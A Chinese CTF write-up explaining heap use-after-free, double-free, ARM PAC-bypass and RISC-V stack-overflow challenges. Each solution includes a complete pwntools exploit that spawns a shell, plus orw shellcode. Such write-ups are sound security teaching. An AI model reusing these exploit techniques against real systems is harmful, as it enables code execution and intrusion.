感谢xmzyshypnc 师傅手把手教学。

babyheap

漏洞是一个UAF漏洞,程序实现了6个程序,add,delete,edit,show,leave_name,show_name,其中add函数限制了申请堆块的大小,delete函数中存在UAF漏洞,leave_name函数中申请了一个0x400大小的堆块。

因此这里首先申请40x20,fastbin,接着leave_name函数申请一个较大的堆块,使得fastbin堆块合并成0x80大小的small bin,这样就能泄漏出libc基址,由于edit的起始位置是+8开始的,因此再次申请的堆块大小需要覆盖三个fastbin,因此申请一个0x60大小的堆块。这样就可以满足覆写fd指针为free_hook-8/bin/sh字符串两个要求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xdd9)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('52.152.231.198', 8081)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0


def add(index, size):
p.sendlineafter(">> \n", "1")
p.sendlineafter("input index\n", str(index))
p.sendlineafter("input size\n", str(size))


def delete(index):
p.sendlineafter(">> \n", "2")
p.sendlineafter("input index\n", str(index))


def edit(index, content):
p.sendlineafter(">> \n", "3")
p.sendlineafter("input index\n", str(index))
p.sendafter("input content\n", content)


def show(index):
p.sendlineafter(">> \n", "4")
p.sendlineafter("input index\n", str(index))


def leave_name(name):
p.sendlineafter(">> \n", "5")
p.sendafter("your name:\n", name)


def show_name():
p.sendlineafter(">> \n", "6")


for i in range(11):
add(i, 0x18)
for i in range(7):
delete(i + 4)

delete(0)
delete(1)
delete(2)
delete(3)
leave_name("1212")
show(0)

libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 0xd0 - 0x10 - libc.sym['__malloc_hook']

for i in range(7):
add(i + 4, 0x18)

# gdb.attach(p, "b *$rebase(0xdd9)")

log.success("libc address is {}".format(hex(libc.address)))

add(11, 0x60)
delete(1)
payload = b"a"*0x10 + p64(0x61) + p64(libc.sym['__free_hook'] - 0x8)
payload += b"b"*0x10 + p64(0x21) + b"/bin/sh\x00"
edit(11, payload)
add(12, 0x50)
add(13, 0x50)
edit(13, p64(libc.sym['system']))
delete(2)

p.interactive()

babypac

Pointer Authentication Code, PAC机制

2016年的时候ARMv8架构里增加了ARMv8.3-A,这个版本里增加了Pointer Authentication 指令:强化指针安全的一种机制,用来增强栈溢出的保护。该种机制使用指针地址的高位bit(一般来说是高7bit)存储特定于某个指针的签名,之所以可以这样做是因为在当前64位的linux下地址空间也就是指针的实际长度并不是64位。用来计算签名的key存放在处理器内部不可见的寄存器里面。

使用pa机制之后代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
+--------------------------------------------------------------------+
| | No SSP | SSP |
+-----------|---------------------------|----------------------------+
| | SUB sp, sp, #0x40 | ` PACIASP ` |
| | STP x29, x30, [sp,#0x30] | SUB sp, sp, #0x40 |
| Prologue | ADD x29, sp, #0x30 | STP x29, x30, [sp,#0x30] |
| | ... | ADD x29, sp, #0x30 |
| | | ... |
+-----------|---------------------------|----------------------------+
| | ... | ... |
| | LDP x29,x30,[sp,#0x30] | LDP x29,x30,[sp,#0x30] |
| Epilogue | ADD sp,sp,#0x40 | ADD sp,sp,#0x40 |
| | RET | ` AUTIASP ` |
| | | RET |
+--------------------------------------------------------------------+

这里RETAA指令就相当于AUTIASP,RET两个指令的组合。此时的返回地址为加密之后的返回地址指针,如0x400ff8->0x51000000400ff8。因此攻击者很难通过栈溢出覆写返回地址,因为其并不知道该地址加密之后的值,具体来说是指针高7bint的值。

标准中使用的变体QARMA-64,将一个128 bit密钥,一个64 bit明文值(指针)和一个64 bit调整项(上下文,context)作为输入,并产生一个64 bit密钥作为输出128bit 密文。,该机制提供五个128bit (Pointer Authentication)PA keys,其中APIAkey,APIBkey两个密钥用来加密指令指针,APDAKey,APDBKey用来加密数据指针,APGAKey是一个特殊的全局密钥,通过PACGA指令加密大块的数据。

  • PAC*指令用来在当前的指针中生成和插入PAC,例如PACIA x8,x9将使用APIAKey密钥对x8中保存的指针进行加密,其中x9中的内容当作context。将加密之后的结果输出到x8中。PACIZA指令类似,只不过将context固定为0
  • AUT*指令用来验证PAC的正确性,如果正确则恢复解密后的指针,否则将错误代码写入指针的高位bit,触发错误。AUTIA x8, x9则是将x9中的内容用作contextAPIAKey作为密钥解密x8中的指针。
  • XPAC*则是清除指令中的PAC机制,恢复原本的指针而不经过验证。
  • BLRA*指令是组合跳转指令,用于验证和跳转,BLRAA x8,x9验证PAC正确之后,跳转到x8指针指向的指令地址。
  • LDRA*指令是组合数据加载指令,用于验证和数据加载,LDRAA x8,x9验证正确之后将解密之后的地址出的64bit数据loadx8
  • RETA*指令是组合返回指令,用于验证和retLR寄存器中的指针验证正确之后即跳转。RETAB是用APIBKey密钥验证LR寄存器的值。

机制可能存在的问题:如果攻击者可以进行任意代码执行,并且程序中存在signing gadget也就是可以sign任意指针的函数。那么攻击者就可以劫持执行流指向该函数,伪造任意的pac加密指针。

更详细的分析参考这里

题解

回到这个题目,题目首先输入name,实现了四种功能add,lock,show,auth,其中定义了一个user的结构体

1
2
3
4
00000000 my_user         struc ; (sizeof=0x10, mappedto_37)
00000000 id DCQ ?
00000008 is_lock DCQ ?
00000010 my_user ends

add用来增加一个user结构体,lock用来对user种的id进行加密,show函数用来输出name和所有的user结构体的数据。auth是漏洞函数,题目的漏洞很简单,绕过特定的条件之后就会给出一个栈溢出的漏洞。关键是条件怎么绕过,我们看一下代码

1
2
3
4
5
6
7
if ( (int)index < 5 && *(_QWORD *)&name[16 * (int)index + 0x20] && *(_QWORD *)&name[16 * (int)index + 0x28] == 1LL )
{
v1 = *(my_user **)&name[0x10 * (int)index + 0x20];
index = encrypt(0x10A9FC70042LL);
if ( v1 == (my_user *)index )
index = overflow();
}

但是我们输入的id32bit,这里的0x10A9FC70042LL很明显超过了四个字节,因此直接为id赋值走不通。这里注意到lock函数存在一个越界漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 lock()
{
__int64 index; // x0
int v1; // [xsp+1Ch] [xbp-4h]

printf("idx: ");
index = readint();
v1 = index;
if ( (int)index < 5 && *(_QWORD *)&name[16 * (int)index + 32] && !*(_QWORD *)&name[16 * (int)index + 40] )
{
index = encrypt(user_list[(int)index].id);
user_list[v1].id = index;
user_list[v1].is_lock = 1LL;
}
return index;

其没有判断index<0的情况。并且这里name,user_list相距很近

1
2
3
4
5
6
.bss:0000000000412030 ; char name[32]
.bss:0000000000412030 name % 0x20 ; DATA XREF: add+10↑o
.bss:0000000000412030 ; lock+40↑o ...
.bss:0000000000412050 ; struct my_user user_list[5]
.bss:0000000000412050 user_list % 0x50 ; DATA XREF: lock+7C↑o
.bss:0000000000412050 ; .bss ends

因此我们可以首先在name中布局好0x10A9FC70042LL的值,接着利用越界漏洞加密该值即可绕过验证。此时我们就可以进入到溢出函数中。但是这里又存在一个问题就是无法获取返回地址。在调试的过程中我们发现lock函数传给encrypt并不是我们输入的数据,而是PACIA过后的数据,也就是如果我们将name设置为0x400ff8其加密的数据是0x51000000400ff8,那么此时如果通过show函数泄漏出加密之后的值,再解密即可得到返回地址加密之后的数据。

看一下加密函数

1
return a1 ^ (a1 << 7) ^ ((a1 ^ (unsigned __int64)(a1 << 7)) >> 11) ^ ((a1 ^ (a1 << 7) ^ ((a1 ^ (unsigned __int64)(a1 << 7)) >> 11)) << 31) ^ ((a1 ^ (a1 << 7) ^ ((a1 ^ (unsigned __int64)(a1 << 7)) >> 11) ^ ((a1 ^ (a1 << 7) ^ ((a1 ^ (unsigned __int64)(a1 << 7)) >> 11)) << 31)) >> 13);

这里抽象的理解为递归加密,最外层可以分解为

1
2
3
a1 ^ (a1 << 7) ^ ((a1 ^ (unsigned __int64)(a1 << 7)) >> 11) ^ ((a1 ^ (a1 << 7) ^ ((a1 ^ (unsigned __int64)(a1 << 7)) >> 11)) << 31) 
^
((a1 ^ (a1 << 7) ^ ((a1 ^ (unsigned __int64)(a1 << 7)) >> 11) ^ ((a1 ^ (a1 << 7) ^ ((a1 ^ (unsigned __int64)(a1 << 7)) >> 11)) << 31)) >> 13);

也就是可以理解为x ^ (x>>13)。这种加密方式我们可以此次进行破解,比如说y ^ (1 << (64 -13) - 1)的值就是x13位的值。那么之后依次进行解密即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def temp(s, e):
return ((1 << e) - 1) - ((1 << s) - 1)


def re(n):
i = 64
while i > 0:
n = n ^ ((n & temp(max(0, i - 13), i)) >> 13)
n = n & ((1 << 64) - 1)
i = i - 13

i = 0
while i < 64:
n = n ^ ((n & temp(i, min(i + 31, 64))) << 31)
n = n & ((1 << 64) - 1)
i = i + 31

i = 64
while i > 0:
n = n ^ ((n & temp(max(0, i - 11), i)) >> 11)
n = n & ((1 << 64) - 1)
i = i - 11

i = 0
while i < 64:
n = n ^ ((n & temp(i, min(i + 7, 64))) << 7)
n = n & ((1 << 64) - 1)
i = i + 7

return n

最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# encoding=utf-8
import itertools

from pwn import *

file_path = "./chall"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process(["qemu-aarch64", "-L", ".", "-g", "1234", file_path])
# p = process(["qemu-aarch64", "-L", ".", file_path])
# gdb.attach(p)
libc = ELF('./lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('52.255.184.147', 8080)
libc = ELF('./lib/libc.so.6')
one_gadget = 0x0


'''
.text:0000000000400FD4 MOV X19, #0
.text:0000000000400FD8
.text:0000000000400FD8 loc_400FD8 ; CODE XREF: sub_400F90+64↓j
.text:0000000000400FD8 LDR X3, [X21,X19,LSL#3]
.text:0000000000400FDC MOV X2, X24
.text:0000000000400FE0 ADD X19, X19, #1
.text:0000000000400FE4 MOV X1, X23
.text:0000000000400FE8 MOV W0, W22
.text:0000000000400FEC BLR X3
.text:0000000000400FF0 CMP X20, X19
.text:0000000000400FF4 B.NE loc_400FD8
.text:0000000000400FF8
.text:0000000000400FF8 loc_400FF8 ; CODE XREF: sub_400F90+3C↑j
.text:0000000000400FF8 LDP X19, X20, [SP,#var_s10]
.text:0000000000400FFC LDP X21, X22, [SP,#var_s20]
.text:0000000000401000 LDP X23, X24, [SP,#var_s30]
.text:0000000000401004 LDP X29, X30, [SP+var_s0],#0x40
.text:0000000000401008 RET
'''


csu_start = 0x400FF8
csu_end = 0x400FD8
name_add = 0x412030


def csu(call_addr, arg0, arg1, arg2, jmp_addr=csu_end):
payload = p64(0) + p64(jmp_addr)
payload += p64(0) + p64(1)
payload += p64(call_addr) + p64(arg0)
payload += p64(arg1) + p64(arg2)
return payload


def add(id):
p.sendlineafter(">> ", "1")
p.sendlineafter("identity: ", str(id))


def lock(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("idx: ", str(index))


def show():
p.sendlineafter(">> ", "3")


def auth(index):
p.sendlineafter(">> ", "4")
p.sendlineafter("idx: ", str(index))


def temp(s, e):
return ((1 << e) - 1) - ((1 << s) - 1)


def re(n):
i = 64
while i > 0:
n = n ^ ((n & temp(max(0, i - 13), i)) >> 13)
n = n & ((1 << 64) - 1)
i = i - 13

i = 0
while i < 64:
n = n ^ ((n & temp(i, min(i + 31, 64))) << 31)
n = n & ((1 << 64) - 1)
i = i + 31

i = 64
while i > 0:
n = n ^ ((n & temp(max(0, i - 11), i)) >> 11)
n = n & ((1 << 64) - 1)
i = i - 11

i = 0
while i < 64:
n = n ^ ((n & temp(i, min(i + 7, 64))) << 7)
n = n & ((1 << 64) - 1)
i = i + 7

return n


if debug == 0:
p.recvuntil("xxxx+")
key = p.recvuntil(")", drop=True).decode()
p.recvuntil("== ")
hash = p.recvline().strip(b"\n").decode()

print("key is ", key, " hash is ", hash)

code = ''
strlist = itertools.product(string.ascii_letters + string.digits, repeat=4)

for i in strlist:
code = i[0] + i[1] + i[2] + i[3]
encinfo = hashlib.sha256((code + key).encode("utf-8")).hexdigest()
if encinfo == hash:
print(code)
break
p.sendline(code)


name = p64(csu_start) + p64(0) + p64(0x10A9FC70042) + p64(0)
p.sendafter("input your name: ", name)

lock(-2)
show()
p.recvuntil("name: ")
pac = u64(p.recvline().strip(b"\n")[:-1])

new_csu_start = re(pac)
log.success("pac csu start address is {}".format(hex(new_csu_start)))


lock(-1)
auth(-1)

puts_got = elf.got['puts']
read_got = elf.got['read']
read_plt = elf.plt['read']

payload = b"a"*0x20 + p64(0) + p64(new_csu_start)
payload += csu(puts_got, read_got, 0, 0)
payload += csu(read_got, 0, name_add, 0x20)
payload += csu(name_add, name_add+8, 0, 0)

p.sendline(payload)

libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) + 0x4000000000 - libc.sym['read']
log.success("libc address is {}".format(hex(libc.address)))

p.sendline(p64(libc.sym['system']) + b"/bin/sh\x00")

p.interactive()

babygame

程序实现了一个类似于迷宫的操作,提供了如下的几种功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
h
Sokoban
How to Play:
Push all boxs into target place
Map:
1)█:wall
2)○:Target
3)□:Box
4)♀:Player
5)●:Box on target
Command:
1)h: show this message
2)q: quit the game
3)w: move up
4)s: move down
5)a: move left
6)d: move right
7)b: move back
8)m: leave message
k)n: show name
10)l: show message

目前逆向出的game结构体如下,其中map另有结构体存储。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
00000000 game            struc ; (sizeof=0x50, mappedto_7)
00000000 map_vector_start dq ?
00000008 current_vector dq ?
00000010 vector_end dq ?
00000018 start_time dq ?
00000020 end_time dq ?
00000028 cost_time dq ?
00000030 level dd ?
00000034 unknown dd ?
00000038 step_forward db ?
00000039 is_quit db ?
0000003A db ? ; undefined
0000003B db ? ; undefined
0000003C db ? ; undefined
0000003D db ? ; undefined
0000003E db ? ; undefined
0000003F db ? ; undefined
00000040 map dq ?
00000048 message dq ?
00000050 game ends

程序的主要逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
__int64 __usercall main@<rax>(__int64 a1@<rdi>, char **a2@<rsi>, char **a3@<rdx>, unsigned int a4@<r12d>)
{
__int64 v4; // rdi
char v6; // [rsp+Eh] [rbp-2h]

v6 = 1;
while ( v6 )
{
game_func(a4);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "restart?");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
if ( (unsigned __int8)get_input_filter(v4, &std::endl<char,std::char_traits<char>>) != 121 )
v6 = 0;
}
return 0LL;
}

unsigned __int64 __usercall game_func@<rax>(unsigned int a1@<r12d>)
{
unsigned __int64 result; // rax
char v2; // [rsp+0h] [rbp-90h]
unsigned __int64 v3; // [rsp+78h] [rbp-18h]

v3 = __readfsqword(0x28u);
init_game((game *)&v2, 0);
game_start((game *)&v2, 0LL, a1);
result = leave_name((__int64)&v2);
__readfsqword(0x28u);
return result;
}

void __usercall game_start(game *a1@<rdi>, unsigned __int64 a2@<rsi>, unsigned int a3@<r12d>)
{
char num; // ST1F_1
game *a1a; // [rsp+8h] [rbp-18h]

a1a = a1;
sub_FE91();
a1->step_forward = 1;
a1->level = -1;
while ( !a1a->is_quit )
{
while ( a1a->level == -1 && !a1a->is_quit )
{
num = get_input((__int64)a1, (void *)a2);
a2 = (unsigned int)num;
a1 = a1a;
detec_error_quit(a1a, num);
}
if ( a1a->is_quit )
break;
get_map(a1a);
handle_step(a1a, a3);
a1 = a1a;
put_map_vector(a1a);
}
sub_FE98();
}

unsigned __int64 __fastcall leave_name(game *a1)
{
__int64 v1; // rdi
__int64 v2; // rax
game *v4; // [rsp+8h] [rbp-48h]
__int64 name; // [rsp+20h] [rbp-30h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v4 = a1;
v6 = __readfsqword(0x28u);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "leave your name?");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
if ( (unsigned __int8)get_input_filter(v1, &std::endl<char,std::char_traits<char>>) == 'y' )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "your name:");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&name);
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, &name);
put_name_to_vector((game *)&::a1, (__int64)&name);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&name, &name);
}
clear_map_vector(v4);
operator delete((void *)v4->message);
sub_C026(v4);
return __readfsqword(0x28u) ^ v6;
}

程序存在两个漏洞,一个是算是message脏数据。首先在init_game函数中为game->message分配空间的时候并没有清空内存中的数据,而message的堆块大小为0x510,也就是说释放之后重新申请即可以泄漏得到libc基址。程序恰好存在restart的情况,因此我们可以据此泄漏得到libc基址。

1
2
3
4
5
6
7
send_level("q")
send_order("n")
send_order("y")
send_level("l")
p.recvuntil("message:")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))

另一个就是map+0xe0处保存指针的double free漏洞。该处的漏洞是在调试中发现的,在update level之后退出会出现一个double free的漏洞,堆块的大小是0x60。那么接下来就是double free如何利用的问题了。我们能够进行任意堆块分配的就是message了。但是程序中采用的是cin进行读取的,不能覆盖到0x60的堆块。但是我们看到在读取得到message之后会将其put vector。在该函数中会将按照我们输入的message的长度进行堆块申请

1
2
3
4
if ( current_vector_c )
current_vector_c = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
current_vector_c,
name_c);

这里就达到了我们任意申请堆块的目的。下面就是正常的double free的操作了。这里注意的是put_name_vector函数调用结束之后就是name的析构函数。

1
2
3
4
put_name_to_vector((game *)&::a1, (__int64)&name);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(
(__int64)&name,
(__int64)&name);

在我们覆写完毕free_hook之后此处是第一次调用的位置,因此我们将name的起始八个字节改为/bin/sh,覆写的fd指针自然变为free_hook-0x8

这里需要注意的是name,map是两个vector。这里我们message输入的时候恰好为第四个不需要扩展。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xB56b)\nb *$rebase(0xB166)\nb *$rebase(0xa70d)\nb *$rebase(0xb06f)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('52.152.231.198', 8082)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0


def send_order(order):
p.sendlineafter("Please input an order:\n", order)


def send_level(level):
p.sendlineafter("Please input an level from 1-9:\n", level)


def leave_name(name):
p.sendlineafter("your name:", name)


send_level("q")
send_order("n")
send_order("y")
send_level("l")
p.recvuntil("message:")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))

send_level("1")
send_order("2")
send_order("q")
send_order("n")
leave_name(b"a"*0x70) # name vector 1, ex
send_order("y")

send_level("9")
send_order("q")
send_order("y")
leave_name(p64(libc.sym['__free_hook']- 0x8).ljust(0x50, b"\x00")) # name vector 2, ex
send_order("y")

send_level("9")
send_order("q")
send_order("y")
leave_name(b"a"*0x50) # name vector 3, ex
send_order("y")

gdb.attach(p, "b *$rebase(0xB56b)\nb *$rebase(0xB166)\nb *$rebase(0xa70d)\nb *$rebase(0xb06f)")

send_level("9")
send_order("q")
send_order("y")
leave_name((b"/bin/sh\x00" + p64(libc.sym['system'])).ljust(0x50, b"\x00"))

p.interactive()

分析了一下double free的原因,是因为在update level的时候,第一此set_level会首先将map放到vector中,而第二次的时候又会执行put_map_vector函数,此时map vector需要进行扩展,而在扩展的过程中似乎会调用map的析构函数,将map+0xe0处的堆块指针释放掉,而当我们quit的时候又回调用一次clear map vector,此时又会调用map的析构函数,再次释放堆块指针。

从官方的wp来看,当使用vector::push_back()函数的时候,它会调用拷贝函数,这是一个浅拷贝,如果将这个资源删除,并调用vector:clear()函数,那么就会调用两次资源的析构函数,这就回导致double free。但是这个程序中只调用了vectro:clear()函数。这里需要注意的是vector在容量不足的时候会发生扩展,扩展过程中仍然是进行一个浅拷贝,并调用vector中对象的析构函数,来删除原vector中的资源。这里满足了另一个资源释放,因此存在double free

Favourite Architecure flag1

riscv栈溢出的漏洞,但是ghidra反编译失败,不知道咋回事。

比赛之后这里看了Mid Station文章,找到了一个解决方法,首先我们看到entry函数,中首先设置了一个gp寄存器的值。这里的寄存器的值在整个过程中是不变的。

1
2
3
4
5
6
void FUN_000101ec(void)

{
gp = (undefined *)0x6f178;
return;
}

因此这里我们首先ctrl-a选中所有的反编译的代码,然后使用crtl-r设置寄存器的值,将gp的值设置为0x6f178,之后回到main函数,这里看到就可以反汇编了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

undefined8 UndefinedFunction_000103e6(undefined8 param_1)

{
ulonglong uVar1;
longlong lVar2;
undefined auStack520 [192];
undefined auStack328 [256];
ulonglong uStack72;
longlong lStack64;
int iStack52;
undefined8 uStack40;
undefined8 uStack24;

uStack24 = param_1;
FUN_0001616e(param_1);
uStack40 = 0x10400;
FUN_000159bc(1);
FUN_00017d74(PTR_DAT_0006ea28,0);
FUN_00017d74(PTR_DAT_0006ea20,0);
FUN_00017d74(PTR_DAT_0006ea18,0);
FUN_0001605a("Input the flag: ");
read(auStack328);
uVar1 = strlen(auStack328);
if (uVar1 == ((longlong)(iRam000000000006e9dc + iRam000000000006e9d8) & 0xffffffffU)) {
lStack64 = FUN_00020386(auStack328 + ((longlong)iRam000000000006e9d8 & 0xffffffff));
FUN_0001118a(auStack520,"tzgkwukglbslrmfjsrwimtwyyrkejqzo","oaeqjfhclrqk",0x80);
FUN_000111ea(auStack520,auStack328,iRam000000000006e9d8);
lVar2 = FUN_00020e2a(auStack328,&DAT_0006d000,iRam000000000006e9d8);
if (lVar2 == 0) {
uStack72 = strlen(lStack64);
iStack52 = 0;
while( true ) {
if (uStack72 >> 3 <= (ulonglong)(longlong)iStack52) {
FUN_00016bc8("You are right :D");
gp = (undefined *)0x6f178;
return 0;
}
FUN_000102ae(iStack52 * 8 + lStack64,&DAT_0006d060);
lVar2 = FUN_00020e2a(iStack52 * 8 + lStack64,(longlong)(iStack52 * 8) + 0x6d030,8);
if (lVar2 != 0) break;
iStack52 = iStack52 + 1;
}
}
}
FUN_00016bc8("You are wrong ._.");
gp = (undefined *)0x6f178;
return 1;
}

漏洞存在于输入flag的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
00010436 b7 e7 04 00     lui        a5=>DAT_0004e000,0x4e               = FFh
0001043a 13 85 07 89 addi a0=>s_Input_the_flag:_0004d890,a5,-0x770 = "Input the flag: "
0001043e ef 50 d0 41 jal ra,FUN_0001605a //output()
00010442 93 07 84 ed addi a5,s0,-0x128 //<< input_falg str
00010446 3e 85 c.mv a0,a5
00010448 ef 60 20 61 jal ra,read //read()
0001044c 93 07 84 ed addi a5,s0,-0x128
00010450 3e 85 c.mv a0,a5
00010452 ef 00 21 09 jal ra,strlen //strlen()
00010456 aa 86 c.mv a3,a0
00010458 03 a7 01 86 lw a4,-0x7a0(gp)
0001045c 83 a7 41 86 lw a5,-0x79c(gp)
00010460 b9 9f c.addw a5,a4
00010462 81 27 c.addiw a5,0x0
00010464 82 17 c.slli a5,0x20
00010466 81 93 c.srli a5,0x20
00010468 63 94 f6 10 bne a3,a5,LAB_00010570 //不等于0x59就跳转
//...
LAB_00010570 XREF[1]: 00010468(j)
00010570 01 00 c.nop
00010572 21 a0 c.j LAB_0001057a
//...
LAB_0001057a XREF[2]: 00010572(j), 00010576(j)
0001057a b7 e7 04 00 lui a5=>DAT_0004e000,0x4e = FFh
0001057e 13 85 87 8f addi a0=>s_You_are_wrong_._._0004d8f8,a5,-0x70= "You are wrong ._."
00010582 ef 60 60 64 jal ra,FUN_00016bc8 //output()
00010586 85 47 c.li a5,0x1
LAB_00010588 XREF[1]: 0001056e(j)
00010588 3e 85 c.mv a0,a5
0001058a fe 70 c.ldsp ra,0x1f8(sp)
0001058c 5e 74 c.ldsp s0,0x1f0(sp)
0001058e 13 01 01 20 addi sp,sp,0x200
00010592 82 80 ret

从第一层的逻辑看来,首先是read了一个很长的字符串(注意到这里的函数不一定是read功能类似)。但是分配的长度才是0x128字节大小,因此这里可以溢出。并且如果我们输入的长度不为0x59那么直接会跳转到错误输出的位置之后结束进程,在结束进程的时候读取了sp+0x1f8的位置的值作为返回地址,因此我们可以直接溢出到返回地址。那么接下来就是如何利用的问题。

注意到题目给出的patch文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
diff --git a/linux-user/syscall.c b/linux-user/syscall.c
index 27adee9..2d75464 100644
--- a/linux-user/syscall.c
+++ b/linux-user/syscall.c
@@ -13101,8 +13101,31 @@ abi_long do_syscall(void *cpu_env, int num, abi_long arg1,
print_syscall(cpu_env, num, arg1, arg2, arg3, arg4, arg5, arg6);
}

- ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,
- arg5, arg6, arg7, arg8);
+ switch (num) {
+ // syscall whitelist
+ case TARGET_NR_brk:
+ case TARGET_NR_uname:
+ case TARGET_NR_readlinkat:
+ case TARGET_NR_faccessat:
+ case TARGET_NR_openat2:
+ case TARGET_NR_openat:
+ case TARGET_NR_read:
+ case TARGET_NR_readv:
+ case TARGET_NR_write:
+ case TARGET_NR_writev:
+ case TARGET_NR_mmap:
+ case TARGET_NR_munmap:
+ case TARGET_NR_exit:
+ case TARGET_NR_exit_group:
+ case TARGET_NR_mprotect:
+ ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,
+ arg5, arg6, arg7, arg8);
+ break;
+ default:
+ printf("[!] %d bad system call\n", num);
+ ret = -1;
+ break;
+ }

if (unlikely(qemu_loglevel_mask(LOG_STRACE))) {
print_syscall_ret(cpu_env, num, ret, arg1, arg2,

我们看到其只允许调用特定的系统调用,也就是我们只能编写orw shellcode,而程序没有开启pie,也就是栈地址固定不变(需要注意的是本地栈地址和远程不一样,因此需要添加滑板指令,坑死了)。

shellcode的编写参考这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.section .text
.globl _start
.option rvc
_start:
#open
li a1,0x67616c66 #flag
sd a1,4(sp)
addi a1,sp,4
li a0,-100
li a2,0
li a7, 56 # __NR_openat
ecall
# read
c.mv a2,a7
addi a7,a7,7
ecall
# write
li a0, 1
addi a7,a7,1
ecall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
10078:    676175b7              lui    a1,0x67617
1007c: c665859b addiw a1,a1,-922
10080: 00b13223 sd a1,4(sp)
10084: 004c addi a1,sp,4
10086: f9c00513 li a0,-100
1008a: 4601 li a2,0
1008c: 03800893 li a7,56
10090: 00000073 ecall
10094: 8646 mv a2,a7
10096: 089d addi a7,a7,7
10098: 00000073 ecall
1009c: 4505 li a0,1
1009e: 0885 addi a7,a7,1
100a0: 00000073 ecall

这里一开始我没有编译环境,因此这里的文件名的输入特别烦人。安装编译环境之后即可以进行编译直接获取shellcode的字节信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# riscv64-unknown-elf-as orw_flag.asm -o orw_flag
# riscv64-unknown-elf-objcopy -S -O binary -j .text orw_flag orw_flag.bin

.section .text
.globl _start
.option rvc
_start:

#open
li a1,0x67616c66 #flag
sd a1,8(sp)
addi a1,sp,8
